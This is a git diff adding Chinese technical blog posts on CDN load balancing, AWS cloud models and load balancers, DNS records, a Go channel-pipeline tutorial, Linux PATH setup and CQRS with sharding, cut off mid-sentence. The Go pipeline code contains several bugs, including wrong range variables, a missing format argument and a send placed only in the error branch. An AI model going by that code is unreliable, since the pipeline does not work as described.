+区域负载均衡设备还干了什么呢? + +- 根据用户的IP判断哪个节点服务器距离用户最近 +- 根据用户请求的URL判断哪个节点服务器有用户想要的东西 +- 查询各个节点,判断哪个节点服务器有服务的能力 + +全局负载均衡设备干了什么? + +- 把从区域负载均衡设备那里得到的可以提供服务的服务器的IP地址发送给用户。 +- 然后用户向这个IP地址对应的服务器发出请求,这个服务器响应用户请求,把用户想要的东西传给用户。如果这个缓存服务器并没有用户想要的内容,那么这个服务器就会像它的上一级缓存服务器请求内容,直至到网站的源服务器。![16c5f7c73af1a83f_tplv-t2oaga2asx-watermark.webp](https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/20b3e79ae260461ba6574c51047fa272~tplv-k3u1fbpfcp-zoom-in-crop-mark:1304:0:0:0.awebp?) + + + +# Amazon Web Services (AWS) + +Amazon Web Services (AWS) 是全球最全面、应用最广泛的云平台 + +> 无论我们接触的是什么行业,教育,医疗,金融,我们的业务都要基于安全,可靠的运行,且成本要符合个人的需求的应用程序。Amazon Web Services (AWS)提供——互联网访问的一整套云计算服务,帮助我们创建和运行这些应用程序。在AWS提供了计算服务,存储服务,数据库服务,使得企业无需大量的资本投资就可以使用大量的IT资源。 +> +> AWS几乎可以提供传统数据中心可以提供的一切数据服务。不过AWS所有的服务都是**按需付费**的。无前期资本付出。 +> +> 在AWS可以找到**高持久的存储服务**,**低延迟的数据库**,**以及一套应用程序开发工具**只需在使用时付费。 +> +> **以低经营成本提供强大资源** +> +> **容量规划也变得更加简单**在传统的数据中心中启动新的应用程序不至于冒险。准备太多的服务器,会浪费大量的金钱和时间。准备太少的服务器,客户体验不好。有**弹性添加和移出**的能力后,应用程序可以扩大以满足应用需求,也可以迅速缩小以节省成本。 +> +> 让开发人员专注与为客户提供差异化的价值,而不必搬动堆栈服务器。成功的实验可以很快投产,免于失败带来的损害。 +> +> AWS在多个地区帮助企业服务客户,不用费时,费力的进行地域扩展。 +> +> + +> 云计算就是在互联网上以按需付费的方式提供计算服务 +> +> 而不是管理本地存储设备上的文件和服务。 +> +> 云计算有两种类型的模型,部署模型和服务模型 + +部署模型 + +- **公共云** + + 云基础设施(一辆云公共汽车)通过互联网向公共提供,这辆公共汽车由云服务提供商拥有。 + +- **私有云** + + (一辆私有汽车),云基础设施由一个组织独家运营。 + +- **混合云** + + (一辆出租车)**公共云**和**私有云**的组合 + +服务模型 + +![saas vs paas vs iaas](https://www.bigcommerce.com/blog/wp-content/uploads/2018/10/saas-vs-paas-vs-iaas.jpg) + +> 不久前,一家公司的所有 IT 系统都在本地,而云只是天空中的白色蓬松物。 + +- **IASS ** (基础设施即服务) + +基于云的服务,为存储、网络和虚拟化等服务按需付费。 + +IaaS 业务提供按需付费存储、网络和虚拟化等服务。 + +IaaS 为用户提供基于云的本地基础设施替代方案,因此企业可以避免投资昂贵的现场资源。**IaaS 交付:**通过互联网。 + +维护本地 IT 基础架构成本高昂且劳动强度大。 + +它通常需要对物理硬件进行大量初始投资,然后您可能需要聘请外部 IT 承包商来维护硬件并保持一切正常工作和保持最新状态。 + +aaS 的另一个优势是将基础设施的控制权交还给您。 + +您不再需要信任外部 IT 承包商;如果您愿意,您可以自己访问和监督 IaaS 平台(无需成为 IT 专家)。 + +**用户只需为服务器的使用付费,从而为他们节省了投资物理硬件的成本(以及相关的持续维护)。** + + + +- **PASS**(平台即服务) + +互联网上可用的硬件和软件工具。 + +IaaS 业务提供按需付费存储、网络和虚拟化等服务。 + +IaaS 为用户提供基于云的本地基础设施替代方案,因此企业可以避免投资昂贵的现场资源。 + +PaaS 主要由构建软件或应用程序的开发人员使用。 + +PaaS 解决方案为开发人员提供了**创建独特、可定制软件的平台**。 + +PaaS 供应商通过 Internet 提供硬件和软件工具,人们使用这些工具来开发应用程序。PaaS 用户往往是开发人员。 + +这意味着开发人员在创建应用程序时无需从头开始,从而为他们节省大量时间(和金钱)来编写大量代码。 + +对于想要创建独特应用程序而又不花大钱或承担所有责任的企业来说,PaaS 是一种流行的选择。这有点像**租用场地进行表演与建造场地进行表演之间的区别。**场地保持不变,但您在该空间中创造的东西是独一无二的。 + +PaaS 允许开发人员专注于应用程序开发的创造性方面,而不是管理软件更新或安全补丁等琐碎任务。他们所有的时间和脑力都将用于创建、测试和部署应用程序。 + +**PaaS 非电子商务示例:** + +PaaS 的一个很好的例子是[AWS Elastic Beanstalk](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/Welcome.html)。这些服务大部分都可以用作 IaaS,大多数使用 AWS 的公司都会挑选他们需要的服务。然而,管理多个不同的服务对用户来说很快就会变得困难和耗时。这就是 AWS Elastic Beanstalk 的用武之地:它作为基础设施服务之上的另一层,**自动处理容量预置**、**负载平衡**、**扩展和应用程序运行状况监控的细节。** + +您需要做的就是上传和维护您的应用程序。 + +- **SASS**(软件即服务)。 + + SaaS 平台通过互联网向用户提供软件,通常按月支付订阅费。使用[SaaS](https://learn.g2crowd.com/what-is-saas),您无需在您的计算机(或任何计算机)上安装和运行软件应用程序。当您在线登录您的帐户时,一切都可以通过互联网获得。您通常可以随时从任何设备访问该软件(只要有互联网连接)。 + + 其他使用该软件的人也是如此。您的所有员工都将拥有适合其访问级别的个性化登录。 + + 当您希望应用程序以最少的输入平稳可靠地运行时,SaaS 平台是理想的选择。 + +可通过互联网通过第三方获得的软件。 + +- **内部部署**:与您的企业安装在同一建筑物中的软件。 + + + +**IaaS、PaaS 和 SaaS 之间有什么区别?** + +- 在托管定制应用程序以及提供通用数据中心用于数据存储方面,IaaS 可为您提供最大的灵活性。 +- PaaS 通常构建在 IaaS 平台之上,以减少对系统管理的需求。它使您可以专注于应用程序开发而不是基础架构管理。 +- SaaS 提供即用型、开箱即用的解决方案,可满足特定业务需求(例如网站或电子邮件)。大多数现代 SaaS 平台都是基于 IaaS 或 PaaS 平台构建的。 + +![saas vs paas vs iaas细分](https://www.bigcommerce.com/blog/wp-content/uploads/2018/10/saas-vs-paas-vs-iaas-breakdown.jpg) + + + +## **AWS ELB ALB NLB 关联与区别** + +弹性负载均衡器、应用程序负载均衡器和网络负载均衡器。 + +### 共同特征 + +让我们先来看看这三种负载均衡器的共同点。 + +显然,所有 AWS 负载均衡器都将传入请求分发到多个目标,这些目标可以是 EC2 实例或 Docker 容器。它们都实现了健康检查,用于检测不健康的实例。它们都具有高可用性和弹性(用 AWS 的说法:它们根据工作负载在几分钟内向上和向下扩展)。 + +TLS 终止也是所有三个都可用的功能,它们都可以是面向互联网的或内部的。最后,ELB、ALB 和 NLB 都将有用的指标导出到 CloudWatch,并且可以将相关信息记录到 CloudWatch Logs。 + +#### 经典负载均衡器 + +此负载均衡器通常缩写为 ELB,即 Elastic Load Balancer,因为这是它在 2009 年首次推出时的名称,并且是唯一可用的负载均衡器类型。如果这让更容易理解,它可以被认为是一个 Nginx 或 HAProxy 实例。 + +ELB 在第 4 层 (TCP) 和第 7 层 (HTTP) 上都工作,并且是唯一可以在 EC2-Classic 中工作的负载均衡器,以防您有一个非常旧的 AWS 账户。此外,它是唯一支持应用程序定义的粘性会话 cookie 的负载均衡器;相反,ALB 使用自己的 cookie,您无法控制它。 + +在第 7 层,ELB 可以终止 TLS 流量。它还可以重新加密到目标的流量,只要它们提供 SSL 证书(自签名证书很好,顺便说一句)。这提供了端到端加密,这是许多合规计划中的常见要求。或者,可以将 ELB 配置为验证目标提供的 TLS 证书以提高安全性。 + +ELB 有很多限制。例如,它与在 Fargate 上运行的 EKS 容器不兼容。此外,它不能在每个实例上转发多个端口上的流量,也不支持转发到 IP 地址——它只能转发到显式 EC2 实例或 ECS 或 EKS 中的容器。最后,ELB 不支持 websocket;但是,您可以通过使用第 4 层来解决此限制。 + +要在 us-east-1 区域运行 ELB,每 ELB 小时 0.025 美元 + 每 GB 流量 0.008 美元。 + +AWS 不鼓励使用 ELB,而是支持其较新的负载均衡器。诚然,在极少数情况下使用 ELB 会更好。通常,在这些情况下您根本没有选择。例如,您的工作负载可能仍在[EC2-Classic](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html)上运行,或者您需要负载均衡器使用您自己的粘性会话 cookie,在这种情况下,ELB 将是您唯一可用的选项。负载平衡的下一步 + +2016 年,AWS 推出了 Elastic Load Balancing 第 2 版,它由两个产品组成:Application Load Balancer (ALB) 和 Network Load Balancer (NLB)。它们都使用相似的架构和概念。 + +最重要的是,它们都使用“目标群体”的概念,这是重定向的一个附加级别。可以这样概念化。侦听器接收请求并决定(基于广泛的规则)将请求转发到哪个目标组。然后,目标组将请求路由到实例、容器或 IP 地址。目标组通过决定如何拆分流量和对目标执行健康检查来管理目标。 + +ALB 和 NLB 都可以将流量转发到 IP 地址,这允许它们在 AWS 云之外拥有目标(例如:本地服务器或托管在另一个云提供商上的实例)。 + +现在让我们深入研究这两个提议。 + +#### 应用程序负载均衡器 + +应用程序负载均衡器 (ALB) 仅适用于第 7 层 (HTTP)。它具有广泛的基于主机名、路径、查询字符串参数、HTTP 方法、HTTP 标头、源 IP 或端口号的传入请求的路由规则。相比之下,ELB 只允许基于端口号的路由。此外,与 ELB 不同,ALB 可以将请求路由到单个目标上的多个端口。此外,ALB 可以将请求路由到 Lambda 函数。 + +ALB 的一个非常有用的特性是它可以配置为返回固定响应或重定向。因此,您不需要服务器来执行这些基本任务,因为它都嵌入在 ALB 本身中。同样非常重要的是,ALB 支持 HTTP/2 和 websockets。 + +ALB 进一步支持[服务器名称指示 (SNI)](https://www.cloudflare.com/learning/ssl/what-is-sni/),这允许它为许多域名提供服务。(相比之下,ELB 只能服务一个域名)。但是,可以附加到 ALB 的证书数量是有限制的,[即 25 个证书](https://aws.amazon.com/blogs/aws/new-application-load-balancer-sni/)加上默认证书。 + +ALB 的一个有趣特性是它支持通过多种方法进行用户身份验证,包括 OIDC、SAML、LDAP、Microsoft AD 以及 Facebook 和 Google 等知名社交身份提供商。这可以帮助您将应用程序的用户身份验证部分卸载到负载均衡器。 + +#### 网络负载均衡器 + +网络负载均衡器 (NLB) 仅在第 4 层工作,可以处理 TCP 和 UDP,以及使用 TLS 加密的 TCP 连接。它的主要特点是它具有非常高的性能。此外,它使用静态 IP 地址,并且可以分配弹性 IP — 这对于 ALB 和 ELB 是不可能的。 + +NLB 原生保留 TCP/UDP 数据包中的源 IP 地址;相比之下,ALB 和 ELB 可以配置为添加带有转发信息的附加 HTTP 标头,这些标头必须由您的应用程序正确解析。 + +### 什么是 Amazon EC2? + +Amazon Elastic Compute Cloud (Amazon EC2) 在 Amazon Web Services (Amazon) 云中提供可扩展的计算容量。使用 Amazon EC2 可避免前期的硬件投入,因此您能够快速开发和部署应用程序。您可以使用 Amazon EC2 启动所需数量的虚拟服务器,配置安全性和联网以及管理存储。Amazon EC2 可让您扩展或缩减以处理需求变化或使用高峰,从而减少预测流量的需求。 + + + +### 域名解析—— A 记录、CNAME 和 URL 转发区别 + +- **域名A记录:A `(Address)` 记录是域名与 IP 对应的记录。** + +- **CNAME** 也是一个常见的记录类别,它是一个域名与域名的别名`( Canonical Name )`对应的记录。当 DNS 系统在查询 CNAME 左面的名称的时候,都会转向 CNAME 右面的名称再进行查询,一直追踪到最后的 PTR 或 A 名称,成功查询后才会做出回应,否则失败。这种记录允许将多个名字映射到同一台计算机。 + +- **URL转发:** 如果没有一台独立的服务器(也就是没有一个独立的IP地址)或者还有一个域名 B ,想访问 A 域名时访问到 B 域名的内容,这时就可以通过 URL 转发来实现。 + + 转发的方式有两种:隐性转发和显性转发 + + 隐性转发的时候 [www.abc.com](http://www.abc.com/) 跳转到 [www.123.com](http://www.123.com/) 的内容页面以后,地址栏的域名并不会改变(仍然显示 [www.abc.com](http://www.abc.com/) )。网页上的相对链接都会显示 [www.abc.com](http://www.abc.com/) + +### A记录、CNAME和URL转发的区别 + +- A记录 —— 映射域名到一个或多个IP。 + +- CNAME——映射域名到另一个域名(子域名)。 + +- URL转发——重定向一个域名到另一个 URL 地址,使用 HTTP 301状态码。 + +注意,无论是 A 记录、CNAME、URL 转发,在实际使用时是全部可以设置多条记录的。比如: + +``` +ftp.example.com A记录到 IP1,而mail.example.com则A记录到IP2 + +ftp.example.com CNAME到 ftp.abc.com,而mail.example.com则CNAME到mail.abc.com + +ftp.example.com 转发到 ftp.abc.com,而mail.example.com则A记录到mail.abc.com +``` + +### A记录、CNAME、URL适用范围 + +了解以上区别,在应用方面: + +A记录——适应于独立主机、有固定IP地址 + +CNAME——适应于虚拟主机、变动IP地址主机 + +URL转发——适应于更换域名又不想抛弃老用户 + diff --git a/_posts/2022-04-25-test-markdown.md b/_posts/2022-04-25-test-markdown.md new file mode 100644 index 000000000000..73966618cb9c --- /dev/null +++ b/_posts/2022-04-25-test-markdown.md @@ -0,0 +1,326 @@ +--- +layout: post +title: Go 并发应用于数据管道 +subtitle: Go concurrency applied to data pipelines +tags: [golang] +--- +# Go concurrency applied to data pipelines + +> ## Go 并发应用于数据管道 + +![img](https://miro.medium.com/max/700/1*GDsCfxs1yM1nrABsNo4YoA.jpeg) + +**一种不同的批处理方法,以及如何在使用 Go 并发模型的过程中增强数据管道的功能。** + +## 1.Introduction to pipelines + +> #### 管道简介 + +应用于计算机科学领域的术语 ——**管道** 无非是一系列阶段,这些阶段接收数据,对该数据执行一些操作,并将处理后的数据作为结果传回。 + +``` + 接收数据—— 处理数据—— 返回数据 +``` + +因此,在使用这种模式时 + +- 可以通过添加/删除/修改阶段来封装每个阶段的逻辑并快速扩展功能 + +- 每个阶段都变得易于测试 +- 更不必说通过使用并发来利用这个的巨大的好处 + +想象一下,有机会在一家食品和 CPG 配送公司担任软件工程师,在那里是一个团队的一员,负责构建软件,将**零售商的产品可用性集成到主公司的应用程序中**。运行该集成后,用户能够以更少的缺货风险购买产品。 + +- 为了完成这个功能,怎么 GoLang 中构建了这个“可用性引擎”呢? + +- 这个“可用性引擎”要怎么实现? + +- 这个“可用性引擎”要实现什么功能? + + ``` + // 1.应该提取了几个零售商的 CSV 文件,其中包含产品可用性信息 + // 2.执行几个步骤来根据某些业务逻辑来丰富和过滤数据 + // 3.流程结束后应该制作一个新的文件 + // 4.所有的产品都将集成到公司的应用程序中供用户购买。 + + ``` + + ![img](https://miro.medium.com/max/700/1*qvOU2a45_q7zIagkrSmaiQ.png) + + + +批量处理架构示例 + +- 管道的第一阶段接收一组 CSV 行,将它们全部处理,然后将结果放入新批次(新的地图切片)中。 +- 相同的过程重复它的次数与管道实际具有的阶段数一样多,这种模式的特殊性在于,如果管道中的上一步尚未完成对整组行的处理,则下一个阶段都无法开始。如所见,它在概念上是一个批处理管道。 +- 为了加快和优化工作,我们开始在 CSV 文件级别使用并发,因此我们能够同时处理文件。这种方法非常适合我们,但没有我们常说的灵丹妙药…… +- 我偶然发现了一种奇妙的模式,即通过**使用通道来利用管道!!!!!!!!!!** + +## 2.A better approach for data pipelines: streams of data + +> #### 更好的数据管道方法:数据流 + +在阶段之间使用批处理,这对我们来说已经足够了,但肯定还有其他选项更适合使其更高效。 + +特别是我们谈论的是跨不同管道阶段的*流数据。*这实际上意味着**每个阶段一次接收和发出一个元素**,而**不是等待上一步的一整批结果来处理它们**。 + +- **如果我们必须比较批处理和流式处理之间的内存占用,前者更大,因为每个阶段都必须制作一个新的等长映射切片来存储其计算结果。** +- **相反,流式处理方法最终会一次接收和发送一个元素,因此内存占用量会降低到管道输入的大小** + +## Implementation example + +> #### 实现示例 + +``` +// 第一阶段stream.UserIDs(done, userIDs...)将通过流式传输UserIDs值来为管道提供数据 +package stream + +//为了实现这一点,使用了一个生成器模式,它接收一个UserID切片(输入),并通过对其进行测距,开始将每个值推入一个通道(输出)。因此,返回的通道将依次成为下一阶段的输入。 + +type UserID uint + +func UserIDs(done <-chan interface{}, uids ...UserID) <-chan UserID { + uidStream := make(chan UserID) + go func() { + defer close(uidStream) + for v := range uids { + + select { + case <-done: + return + case uidStream <- UserID(v): + fmt.Printf("[In func UserIDs] UserID %v has been push in Stream Channel\n", v) + + } + + } + + }() + return uidStream + +} +``` + +正因为如此,跨管道使用通道将允许我们安全地同时执行每个管道阶段,因为我们的输入和输出在并发上下文中是安全的。 + +让我们看一下链上的以下阶段,其中基于来自第一阶段(生成器)的流数据,我们**获取实际的用户数据,过滤掉不活跃的用户**,用其配置文件丰富他们,最后将一些数据拆分为从整个聚合/过滤过程中制作一个普通对象。 + +``` +// 获取用户并在频道上返回他们 + +type User struct { + ID UserID + Username string + Email string + IsActive bool +} + +func UserInput(done <-chan interface{}, uids <-chan UserID) <-chan User { + stream := make(chan User) + go func() { + defer close(stream) + for v := range uids { + user, err := getUser(v) + if err != nil { + fmt.Println("some error ocurred", err) + } else { + select { + case <-done: + fmt.Println("[case done ] return ") + return + case stream <- user: + fmt.Printf("[In func UserInput] UserID %#v has been push in Stream Channel\n", v) + default: + fmt.Println("channel blocking") + + } + + } + + } + }() + return stream +} +// getUser 是一个虚拟的函数 用来模拟在处理数据时,对不同的数据进行不同的操作。 + +func getUser(ID UserID) (User, error) { + username := fmt.Sprintf("username_%v", ID) + user := User{ + ID: ID, + Username: username, + Email: fmt.Sprintf("%v@pipeliner.com"), + IsActive: true, + } + + if ID%3 == 0 { + user.IsActive = false + } + return user, nil +} + +``` + +``` +// 过滤掉不活跃的用户 +func InactiveUsers(done <-chan interface{}, users <-chan User) <-chan User { + stream := make(chan User) + go func() { + defer close(stream) + for v := range users { + if v.IsActive == false { + fmt.Printf("[In func InactiveUsers] %#v has been filtered", v) + continue + } + select { + case <-done: + fmt.Println("[case done ] return ") + return + case stream <- v: + fmt.Printf("[In func InactiveUsers] User %#v has been push in Stream Channel\n", v) + } + + } + + }() + + return stream +} + +``` + +``` +type ProfileID uint + +//将用户的配置文件聚合到有效负载 + +//定义一个配置文件 +type Profile struct { + ID ProfileID + PhotoURL string +} + +//将配置文件和用户聚合在一起 +type UserProfileAggregation struct { + User User + Profile Profile +} + +type PlainStruct struct { + UserID UserID + ProfileID ProfileID + Username string + PhotoURL string +} + +func ProfileInput(done <-chan interface{}, users <-chan User) <-chan UserProfileAggregation { + stream := make(chan UserProfileAggregation) + go func() { + defer close(stream) + + for v := range users { + profile, err := getByUserID(v.ID) + if err != nil { + // TODO address errors in a better way + fmt.Println("some error ocurred") + p := UserProfileAggregation{ + User: v, + Profile: profile} + select { + case <-done: + return + case stream <- p: + fmt.Println("[In func Profile] UserProfileAggregation has been inputed in channel") + } + } + + } + }() + return stream +} + + +func getByUserID(uids UserID) (Profile, error) { + p := Profile{ + ID: ProfileID(uint(uids) + 100), + PhotoURL: fmt.Sprintf("https://some-storage-url/%v-photo", uids), + } + return p, nil + +} + +``` + +``` +//将有效负载转换为它的简化版本 + +func UPAggToPlainStruct(done <-chan interface{}, upAggToPlainStruct <-chan UserProfileAggregation) <-chan PlainStruct { + stream := make(chan PlainStruct) + go func() { + defer close(stream) + for v := range upAggToPlainStruct { + p := v.ToPlainStruct() + select { + case <-done: + return + case stream <- p: + fmt.Println("[In func UPAggToPlainStruct ] PlainStruct has been pushed into channel") + + } + + } + + }() + return stream +} + + +func (upa UserProfileAggregation) ToPlainStruct() PlainStruct { + return PlainStruct{ + UserID: upa.User.ID, + ProfileID: upa.Profile.ID, + Username: upa.User.Username, + PhotoURL: upa.Profile.PhotoURL, + } +} + +``` + +``` +const maxUserID = 100 + +func main() { + done := make(chan interface{}) + defer close(done) + userIDs := make([]UserID, maxUserID) + for i := 1; i <= maxUserID; i++ { + userIDs = append(userIDs, UserID(i)) + } + arg1 := UserInput( + done, + UserIDs(done, userIDs...), + ) + arg2 := InactiveUsers( + done, + arg1, + ) + arg3 := ProfileInput( + done, + arg2, + ) + plainStructs := UPAggToPlainStruct(done, arg3) + + for ps := range plainStructs { + fmt.Printf("[result] plain struct for UserID %v is: -> %v \n", ps.UserID, ps) + } +} + + +``` + +我在各个阶段传递了一个*done chan 接口{} 。*这个是来做什么的?值得一提的是,goroutines 在运行时不会被垃圾回收,所以作为程序员,我们必须确保它们都是可抢占的。因此,通过这样做,我们不会泄漏任何 goroutine(我将在稍后的另一篇文章中写更多关于此的内容)并释放内存。*因此,只要关闭done*通道,就可以停止对管道的任何调用。这个动作将导致所有 spawn children 的 goroutines 的终止并清理它们。 + +总而言之,在管道上的最新阶段之后,开始通过其输出通道将数据推出另一个例程. + +简而言之,如果我有机会解决与以前类似的问题,我肯定会采用这种模式,它不仅在内存占用方面性能更高,而且速度比使用批处理方法,因为我们可以同时处理数据。 + +此外,我们还可以对管道进行许多其他操作,例如速率限制和扇入/扇出。这个主题将在后面继续学习,其想法是通过添加和组合更多的并发模式来不断迭代这个模式。 \ No newline at end of file diff --git a/_posts/2022-05-18-test-markdown.md b/_posts/2022-05-18-test-markdown.md new file mode 100644 index 000000000000..f0f053d93150 --- /dev/null +++ b/_posts/2022-05-18-test-markdown.md @@ -0,0 +1,55 @@ +--- +layout: post +title: Linux环境变量设置文件 +subtitle: +tags: [linux] +--- +Linux环境变量设置文件 +/etc/profile 全局用户,应用于所有的Shell。 +/$HOME/.profile 当前用户,应用于所有的Shell。 +/etc/bash_bashrc 全局用户,应用于Bash Shell。 +~/.bashrc 局部当前,应用于Bash Sell。 + +查找软件安装目录 +whereis mongodb + +查看PATH +#echo $PATH 显示PATH设置。 +#env 显示当前用户变量。 + +以添加mongodb server为列 +修改方法一: +export PATH=/usr/local/mongodb/bin:$PATH +//配置完后可以通过echo $PATH查看配置结果。 +生效方法:立即生效 +有效期限:临时改变,只能在当前的终端窗口中有效,当前窗口关闭后就会恢复原有的path配置 +用户局限:仅对当前用户 + + +修改方法二: +通过修改.bashrc文件: +vim ~/.bashrc +//在最后一行添上: +export PATH=/usr/local/mongodb/bin:$PATH +生效方法:(有以下两种) +1、关闭当前终端窗口,重新打开一个新终端窗口就能生效 +2、输入“source ~/.bashrc”命令,立即生效 +有效期限:永久有效 +用户局限:仅对当前用户 + +修改方法三: +通过修改profile文件: +vim /etc/profile +/export PATH //找到设置PATH的行,添加 +export PATH=/usr/local/mongodb/bin:$PATH +生效方法:系统重启 +有效期限:永久有效 +用户局限:对所有用户 + +修改方法四: +通过修改environment文件: +vim /etc/environment +在PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"中加入“:/usr/local/mongodb/bin” +生效方法:系统重启 +有效期限:永久有效 +用户局限:对所有用户 diff --git a/_posts/2022-05-20-test-markdown.md b/_posts/2022-05-20-test-markdown.md new file mode 100644 index 000000000000..01ced95d785a --- /dev/null +++ b/_posts/2022-05-20-test-markdown.md @@ -0,0 +1,358 @@ +--- +layout: post +title: CQRS 架构模式 +subtitle: 使用 CQRS 架构模式优化数据访问 +tags: [架构] +--- + +# CQRS 架构模式 + +> 使用 CQRS 架构模式优化数据访问 + +## 1.CRUD系统 + +> 围绕关系数据库构建而成的“创建(Create)、读取(Read)、更新(Update)、删除(Delete)”系统(即CRUD系统) + +我们平常最熟悉的就是三层架构,通常都是通过数据访问层来修改或者查询数据,一般修改和查询使用的是相同的实体。通过业务层来处理业务逻辑,将处理结果封装成DTO对象返回给控制层,再通过前端渲染。反之亦然。 + +![所有 CRUD 程序员,都应该知道的 CQRS 架构!_读写分离_03](https://s7.51cto.com/images/blog/202108/10/fc45964f730ecda2fdf5a20bc58ecf64.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) + +这里基本上是围绕关系数据库构建而成的“创建、读取、更新、删除”系统(即CRUD系统)此类系统在一些业务逻辑简单的项目中可能没有什么问题,但是随着系统逻辑变得复杂,用户增多,这种设计就会出现一些性能问题。 + +### 存在的问题: + +对数据库进行读写分离。让**主数据库处理事务性的增、删、改操作**,让**从数据库处理查询操作**,然后主从数据库之间进行同步。 + +- **为什么要分库、分表、读写分?** + + 单表的数据量限制,当单表数据量到一定条数之后数据库性能会显著下降。 + + > 当一个订单单表突破两百G,且查询维度较多,即使通过增加了两个从库,优化索引,仍然存在很多查询不理想的情况。当大量抢购活动的开展,数据库就会达到瓶颈,应用只能通过限速、异步队列等对其进行保护。 + > + > 对订单库进行垂直切分,将原有的订单库分为基础订单库、订单流程库等。垂直切分 + > + > 垂直切分缓解了原来单集群的压力,但是在抢购时依然捉襟见肘。原有的订单模型已经无法满足业务需求,可以设计了一套新的统一订单模型,为同时满足C端用户、B端商户、客服、运营等的需求,通过用户ID和商户ID进行切分)同步到一个运营库。 + > + > 水平切分 + > + > + +- **切分策略** + + 1. 查询切分查询切分 + + 将ID和库的Mapping关系记录在一个单独的库中。 + + 优点:ID和库的Mapping算法可以随意更改。 + + 缺点:引入额外的单点。 + + 2. 范围切分 + + 范围切分 + + 比如按照时间区间或ID区间来切分。 + + 优点:单表大小可控,天然水平扩展。 + 缺点:无法解决集中写入瓶颈的问题。 + + 3. Hash切分 + + 一般采用Mod来切分,下面着重讲一下Mod的策略。 + + hash切分 + + 方法1:32*32 + + 数据水平切分后我们希望是一劳永逸或者是易于水平扩展的,所以推荐采用mod 2^n这种一致性Hash。如果分库分表的方案是32*32的,即通过UserId后四位mod 32分到32个库中,同时再将UserId后四位Div 32 Mod 32将每个库分为32个表。共计分为1024张表。线上部署情况为8个集群(主从),每个集群4个库。 + + 方法2:32 * 32 * 32 + + 如果是32 * 32 * 32 (32个集群,32个库,32个表=32768个表)。 + + 方法3:单表容量达到瓶颈(或者1024已经无法满足) + + 分库规则不变,单库里的表再进行裂变,当然,在目前订单这种规则下(用userId后四位 mod)还是有极限。 + + + + 4. 唯一ID方案 + + - 利用数据库自增ID + + 优点:最简单。 缺点:单点风险、单机性能瓶颈。 + + - 利用数据库集群并设置相应的步长(Flickr方案) + + 优点:高可用、ID较简洁。 缺点:需要单独的数据库集群。 + + - Twitter Snowflake + + 优点:高性能高可用、易拓展。 缺点:需要独立的集群以及ZK。 + + + + 5. 带有业务属性的方案 + + \> 时间戳+用户标识码+随机数 + + 用户标识码即为用户ID的后四位,在查询的场景下,只需要订单号就可以匹配到相应的库表而无需用户ID,只取四位是希望订单号尽可能的短一些,并且评估下来四位已经足够。 + +### 数据迁移 + +数据库拆分一般是业务发展到一定规模后的优化和重构,为了支持业务快速上线,很难一开始就分库分表,垂直拆分还好办,改改数据源就搞定了,一旦开始水平拆分,数据清洗就是个大问题。 + +#### 阶段1: + +数据迁移 + +- 数据库双写(事务成功以老模型为准),查询走老模型。 + +#### 阶段2数据迁移 + +#### 阶段3:数据迁移 + + + +#### Tips: + +并非所有表都需要水平拆分,要看增长的类型和速度,水平拆分是大招,拆分后会增加开发的复杂度,不到万不得已不使用。在大规模并发的业务上,尽量做到**在线查询**和**离线查询**隔离,**交易查询**和**运营/客服查询隔离**。 + +#### 本质: + +这只是从DB角度处理了读写分离,从业务或者系统层面上来说,读和写的逻辑仍然是存放在一起的,他们都是操作同一个实体对象。 + +## 2. CQRS系统 + +> Command Query Responsibility Segration + +命令(Command)处理和查询(Query)处理 (Responsibility )责任 分离(Segration) + +所有 CRUD 程序员,都应该知道的 CQRS 架构!_读写分离_04 + +命令与查询两边可以用不同的架构实现,以实现CQ两端(即Command Side,简称C端;Query Side,简称Q端)的分别优化。两边所涉及到的实体对象也可以不同,从而继续演变成下面这样。 + +所有 CRUD 程序员,都应该知道的 CQRS 架构!_公众号_05 + +CQRS 作为一个**读写分离思想的架构**,在数据存储方面,也没有做过多的约束。所以 CQRS可以有不同层次的实现。 + +#### CQRS 实现方式: + +###### 第一种实现:CQ 两端数据库共享,只是在上层代码上分离。 + +好处是可以让我们的代码读写分离,更容易维护,而且不存在 CQ 两端的数据一致性问题。因为是共享一个数据库的。这种架构是非常实用的(也就是上面画的那种) + +###### 第二种实现:CQ 两端不仅代码分离,数据库也分离,然后Q端数据由C端同步过来 + +同步方式有两种:同步或异步,如果需要 CQ 两端的强一致性,则需要用同步;如果能接受 CQ 两端数据的最终一致性,则可以使用异步。 + +C端可以采用Event Sourcing(简称ES)模式,所有C端的最新数据全部用 Domain Event 表达即可。要查询显示用的数据,则从Q端的 ReadDB(关系型数据库)查询即可。 + +###### 第一种CQRS 的简单实现: + +代码层面实现分离,数据库共享。 + +CQRS 模式中,首先需要有 Command,这个 Command 命令会对应一个实体和一个命令的执行类。肯定有很多不同的 Command,那么还需要一个 CommandBus 来做命令的分发处理。 + +假设有个用户管理模块,我要新增一个用户的信息。那么根据上文的分析,需要有个新增命令以及对应的用户实体(这个用户实体并不一定和数据库的订单实体完全对应)。 + +- 首先先创建一个命令接口,接口内部是这个命令的处理方法。 + + ``` + type Create interface{ + Excute() + } + ``` + +- 创建用户的新增命令 + + ``` + type UserCreate struct{ + account string + password string + } + func (u *UserCreate) Excute(){ + //检验是否合法,为了防止恶意的新增用户的请求 + //然后创建一个和数据库对应的model + //数据赋值 + //插入到数据库当中 + } + ``` + +- 写好命令具体的执行逻辑之后,该命令的执行需要放到 CommandBus 中去执行 + + ``` + type CommandBus struct{ + } + func (b *CommandBus) DisPath( c Create){ + c.Excute() + } + ``` + +- Controller 层该如何去调用呢? + + ``` + //java实现 + @PostMapping(value = "/getInfo") + public Object getOrderInfo(GetOrderInfoModel model) { + return getOrderInfoService.getOrderInfos(model); + } + + @PostMapping(value = "/creat") + public Object createOrderInfo(CreateOrderModel model) { + return commandBus.dispatch(createOrderCommand, model); + } + + ``` + + 查询和插入是不同的方式,插入走的是 `CommandBus` 分发到 `CreateOrderCommand` 去执行. + + #### tips: + + CQRS 是一种思想很简单清晰的设计模式,通过在业务上分离**操作**和**查询**来使得系统具有更好的可扩展性及性能,使得能够对系统的不同部分进行扩展和优化。在 CQRS 中,所有的涉及到对 DB 的操作都是通过发送 Command,然后特定的 Command 